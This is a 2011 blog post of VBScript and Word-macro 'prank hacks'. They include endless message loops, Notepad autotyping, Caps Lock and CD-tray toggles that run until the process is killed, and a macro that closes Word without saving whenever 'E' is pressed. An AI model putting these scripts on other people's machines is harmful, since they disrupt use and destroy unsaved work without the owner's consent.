Friday, January 07, 2011
Anu
Some windows n computer hacks via vb script n you can also say that VB Script Tweaks for fun or hack...
Continue message :
Continue message :
This is a VBs file so of course save as VBS, it gives so many messages…
do
WScript.Echo (“This is JAIMIN WORLD”)
loop
WScript.Echo (“This is JAIMIN WORLD”)
loop
Notepad Hacks :
This is a VBs file so of course save as VBS, you can replace the txt in this code with whatever you want
- Set wshshell = wscript.CreateObject(“WScript.Shell”)
Wshshell.run “Notepad”
wscript.sleep 400
wshshell.sendkeys “J”
wscript.sleep 100
wshshell.sendkeys “a”
wscript.sleep 120
wshshell.sendkeys “i”
wscript.sleep 200
wshshell.sendkeys “M”
wscript.sleep 140
wshshell.sendkeys “i”
wscript.sleep 100
wshshell.sendkeys “n “
wscript.sleep 100
wshshell.sendkeys ” “
wscript.sleep 200
wshshell.sendkeys “w”
wscript.sleep 150
wshshell.sendkeys “o”
wscript.sleep 170
wshshell.sendkeys “r”
wscript.sleep 200
wshshell.sendkeys “l”
wscript.sleep 100
wshshell.sendkeys “d”
wscript.sleep 50
wshshell.sendkeys ” “
wscript.sleep 120
wshshell.sendkeys “H”
wscript.sleep 160
wshshell.sendkeys “A”
wscript.sleep 200
wshshell.sendkeys “C”
wscript.sleep 100
wshshell.sendkeys “K”
wscript.sleep 100
wshshell.sendkeys ” “
wscript.sleep 200
Keyboards hack :
This is a VBS code that each time you pree the letter “E”, it willclose without saving, the reason “E” was chosen is because E is themost common used letter in the english language.
- Open MS Word And Press F11, To Open The MS Vbs Editor. Then input this :Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:=”TestKeybinding”
End Sub
Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub
Caps lock, Num lock n Scroll lock hack :
we have a code that turns on and off your capslock repeatedly, alsovbs, end same way as last time, this turns on and off your capslockevery tenth of a second until shutdown, or (don’t tell your friends,you press ctrl + alt + delete and go to processes, and end wscript.exe (this code is vbs so save in note pad as whateveryouwant.vbs)
- Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
- Just replace CAPSLOCK by SCROLLLOCK and NUMLOCK and run it..
CD drive hack :
The first code we are going to look at is one that makes the cdtray open and close repeatedly until shutdown, or (don’t tell yourfriends, you press ctrl + alt + delete and go to processes, and end wscript.exe (this code is vbs so save in note pad as whateveryouwant.vbs)
- Set oWMP = CreateObject(“WMPlayer.OCX.7″ )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next ‘ cdrom
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next ‘ cdrom
loop
end if
Posted in
1 comments:
oh dear, you copied this off another site, you lazy little......
Post a Comment